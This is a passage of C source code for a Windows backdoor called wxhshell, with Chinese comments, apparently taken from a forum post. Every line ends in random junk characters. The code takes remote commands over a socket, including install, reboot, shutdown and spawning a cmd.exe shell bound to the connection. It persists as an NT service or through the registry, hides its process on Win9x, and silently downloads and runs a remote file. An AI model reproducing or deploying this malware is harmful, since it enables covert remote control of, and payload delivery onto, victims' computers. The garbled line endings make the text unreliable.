~9bv Wd1D  
    switch(cmd[0]) { xlk5Gob*  
  ;8uHRcdQ  
  // 帮助 A`g.[7  
  case '?': { -FaaFw:Z;A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cXMa\#P  
    break; ~\3l!zIq  
  } qNy-o\;XN  
  // 安装 8,H~4Ce3  
  case 'i': { 7<vy;"wB  
    if(Install()) 8M~u_`6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Vm Eyb  
    else >gF-6nPQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OFp#<o,p  
    break; vLr&ay!w  
    } 9V.+U7\w  
  // 卸载 d;<.;Od$`  
  case 'r': { y1nP F&_  
    if(Uninstall()) Vl-D<M+i h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;tm3B2  
    else zWJKYFqK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :)j7U3u  
    break; |K6nOX!i  
    } qR_SQ VN  
  // 显示 wxhshell 所在路径 &hO$4qtN  
  case 'p': { 0:jsV|5B8  
    char svExeFile[MAX_PATH]; L-j/R1fTvl  
    strcpy(svExeFile,"\n\r"); \_?yzgf  
      strcat(svExeFile,ExeFile); .a5X*M]  
        send(wsh,svExeFile,strlen(svExeFile),0); 3mybG%39  
    break; 1T:)Zv'  
    } tD865gi  
  // 重启 FX cc1X/  
  case 'b': { a$A2IkD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *Gf&q  
    if(Boot(REBOOT)) 3Sk5I%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .x]'eq}  
    else { $tEdBnf^ca  
    closesocket(wsh); Ca$y819E2  
    ExitThread(0); ShsJ_/C2  
    } \MF3CK@/  
    break; /@6E3lh S  
    }  y/z9Ce*>  
  // 关机 u<x[5xH+  
  case 'd': { CZF^Wxk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y!bpOa&  
    if(Boot(SHUTDOWN)) llHN2R%(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q/A/3/  
    else { =`rppO  
    closesocket(wsh); Q S5dP  
    ExitThread(0); )Uc$t${en  
    } )-MA!\=<  
    break; ~W2:NQ>i  
    } 5`(((_Um+  
  // 获取shell dl7Riw-J  
  case 's': { b5lk0jA  
    CmdShell(wsh); #(m `2Z`H  
    closesocket(wsh); A9NOeE  
    ExitThread(0); VFQq`!*i  
    break; w:~nw;.T  
  } er&uC4Y]a  
  // 退出 45]Ym{]  
  case 'x': { }IxY(`:qs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ho?|j"/7  
    CloseIt(wsh); e-L5=B  
    break; \] tq7  
    } U>e3_td3,  
  // 离开 Y\ #.EVz  
  case 'q': { `I]1l MJ)o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .6lY*LI  
    closesocket(wsh); QO1A976o  
    WSACleanup(); [lDt0l5^  
    exit(1); > gA %MT  
    break; jhjW* F<u  
        } r6gt9u:  
  } YR^Ee8_H  
  } gJ)h9e*m^  
'sT}DX(7M  
  // 提示信息 B|Rpm^ |  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pfJVE  
} 3Hb .Z LE#  
  } >/ *?4  
CSd9\V  
  return; ~:P8g<w  
} >oM9~7f  
a"v"n$  
// shell模块句柄 4)x3!Ol  
int CmdShell(SOCKET sock) DK#65H'  
{ Nqo#sBS  
STARTUPINFO si; N \CEocU  
ZeroMemory(&si,sizeof(si)); 1j${,>4tQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =jk-s*g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <3],C)Zwc  
PROCESS_INFORMATION ProcessInfo; =F^->e0N  
char cmdline[]="cmd"; (Fbm9(q$d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); } K+Q9<~u  
  return 0; hJ$C%1;  
} jm#F*F vL  
Q G=-LXv:@  
// 自身启动模式 ,q'gG`M N  
int StartFromService(void) 34++Rr [G  
{ Mc#O+'](f  
typedef struct vV:M S O'r  
{ o3\SO  
  DWORD ExitStatus; 4z-,M7iP  
  DWORD PebBaseAddress; ~u~[E  
  DWORD AffinityMask; s= GOB"G  
  DWORD BasePriority; Mo/2,DiI5  
  ULONG UniqueProcessId;  "df13U"  
  ULONG InheritedFromUniqueProcessId; (> +k3  
}   PROCESS_BASIC_INFORMATION; 5tgILxSK  
(DEL xE  
PROCNTQSIP NtQueryInformationProcess; Pi"tQyw39$  
Eezlx9b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?hry=I(7r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r0hta)xa  
Je4.9?Ch  
  HANDLE             hProcess; |)!k @?_  
  PROCESS_BASIC_INFORMATION pbi; dc\u$'F@S  
Yt O@n@1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u75)>^:I   
  if(NULL == hInst ) return 0; <L!~f`nH2  
Z)6nu)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZB_16&2Ow  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); **w*hd]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WO+?gu  
^ T:qT*v  
  if (!NtQueryInformationProcess) return 0; %x'bo>h@  
;I`,ZKY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |Ad6~E+aL-  
  if(!hProcess) return 0; gv Rc:5B[  
Ck/_UY|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D<D k1  
M|Lw`?T  
  CloseHandle(hProcess); upEPv .h  
bH WvKv+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #BT6bH08X  
if(hProcess==NULL) return 0; Fy(nu-W  
{Y@-*pL]  
HMODULE hMod; hI>rtaY_  
char procName[255]; B;D:9K  
unsigned long cbNeeded; . ;ea]_Z  
Fgc:6<MGM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _1>(GK5[  
>m_ p\$_  
  CloseHandle(hProcess); ;SlS!6.W-  
jN'fm  
if(strstr(procName,"services")) return 1; // 以服务启动 VATXsD  
u{{xnyl?  
  return 0; // 注册表启动 #iqhm,u7D  
} yOn2}Z  
8NF;k5   
// 主模块 ttAVB{kdo  
int StartWxhshell(LPSTR lpCmdLine) (fk, 80  
{ 2 Zjb/  
  SOCKET wsl; ,T21z}r  
BOOL val=TRUE; !ovZ>,1  
  int port=0; cJ(zidf_$  
  struct sockaddr_in door; 1R+ )T'in  
c^[1]'y  
  if(wscfg.ws_autoins) Install(); (zTI)EV  
ubN"(F:!-S  
port=atoi(lpCmdLine); SU#P.y18%  
< jocfTBk  
if(port<=0) port=wscfg.ws_port; FOUs= E[  
I}G}+0geV  
  WSADATA data; ZTPOD.:#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M-qxD"VtV=  
>s 8:1l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j2{,1hj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l]kl V+9t  
  door.sin_family = AF_INET; Bg+]_:<U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zxxy1Fl#.[  
  door.sin_port = htons(port); XdIVMXLL\  
^s(X VVA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B 1ZHV^  
closesocket(wsl); 4M<JfD  
return 1; tm36Lw  
} !K^Z5A_;  
|<Dx  
  if(listen(wsl,2) == INVALID_SOCKET) { #NQz&4W  
closesocket(wsl); m5;[,He  
return 1; DneSzqO"o  
} O]%m{afM  
  Wxhshell(wsl); a_iQlsU  
  WSACleanup(); t ]I(98pY  
vhquHy.qi#  
return 0; Q"K>ML>0  
A7,$y!D  
} 2p;}wYt  
n.qxxzEN  
// 以NT服务方式启动 Z"%O&O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ; R|#ae@  
{ ~ :b:_ 5"  
DWORD   status = 0; gc8PA_bFz  
  DWORD   specificError = 0xfffffff; ]gZ8b- 2O  
Gv+Tg/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?VN]0{JSp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (#l_YI -  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G$kwc F'C  
  serviceStatus.dwWin32ExitCode     = 0; NUNn[c  
  serviceStatus.dwServiceSpecificExitCode = 0; UE#Ni 5  
  serviceStatus.dwCheckPoint       = 0; kcz#8K]~  
  serviceStatus.dwWaitHint       = 0; at(p,+ %  
)!*M 71  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q3O .<9S  
  if (hServiceStatusHandle==0) return; .8PO7#  
't%%hw-m}  
status = GetLastError(); %WT:RT_  
  if (status!=NO_ERROR) q fH~hg  
{ 0|>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |e[0Qo@  
    serviceStatus.dwCheckPoint       = 0; A"3&EuvU  
    serviceStatus.dwWaitHint       = 0; \NQ)Po@z  
    serviceStatus.dwWin32ExitCode     = status; u+gXBU  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2"Uk}Yz|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a&c#* 9t{  
    return; [11-`v0  
  } >dm._*M  
|%cO"d^ri  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #`L}.  
  serviceStatus.dwCheckPoint       = 0; &eS70hq  
  serviceStatus.dwWaitHint       = 0; 6'*Uo:]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |>}0? '/]  
} ].f,3it g&  
;pyJ O_R[  
// 处理NT服务事件,比如:启动、停止 "oXAIfU#T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XQY&4tK  
{ @] "9EW 0  
switch(fdwControl) lgqL)^8A  
{ j}.J$RtW1f  
case SERVICE_CONTROL_STOP: &b6@_C9  
  serviceStatus.dwWin32ExitCode = 0; I \%Lb z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >h( rd1  
  serviceStatus.dwCheckPoint   = 0; `FB?cPR  
  serviceStatus.dwWaitHint     = 0; C<@1H>S4_  
  { Qp.!U~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sPTUGx'  
  } yGG\[I;7  
  return; v*fc5"3eO  
case SERVICE_CONTROL_PAUSE: ~_j%nJ &2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 59Q Q_#>  
  break; 32|L $o  
case SERVICE_CONTROL_CONTINUE: $H@)hY8wA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2CgIY89O  
  break; 6')SJ*|yS  
case SERVICE_CONTROL_INTERROGATE: nzJi)A./  
  break; `0XbV A  
}; V >uW|6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FRQ("6(  
} fQ_8{=<-&X  
lnSE+YJ>  
// 标准应用程序主函数 '*;eFnmvs:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |{IU<o x  
{ 14YV#o:  
-x\l<\*  
// 获取操作系统版本 [*ovYpj^  
OsIsNt=GetOsVer(); V//q$/&8(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j~f 7WJ  
RYJc>  
  // 从命令行安装 SVWSO  
  if(strpbrk(lpCmdLine,"iI")) Install(); L=w Fo^N  
G/3lX^Z>  
  // 下载执行文件 ?[/,*Q%  
if(wscfg.ws_downexe) { ];~[Olc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (0m$W<  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2LH;d`H[0  
} d*(Bs $De  
i{[H3p8  
if(!OsIsNt) { ',s7h"  
// 如果时win9x,隐藏进程并且设置为注册表启动 P(nHXVSUE  
HideProc(); PjZvLK@a9)  
StartWxhshell(lpCmdLine); J*&=J6  
} /~huTKA}  
else LF.~rmPa  
  if(StartFromService()) HtYR 0J  
  // 以服务方式启动 d]~1.i  
  StartServiceCtrlDispatcher(DispatchTable); $<e .]`R  
else %vYlu%c<  
  // 普通方式启动 #&KE_ n  
  StartWxhshell(lpCmdLine); )mVYqlU"  
>t2)Z|1  
return 0; rWpfAE)!  
}
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只看该作者 1 发表于: 2006-10-10
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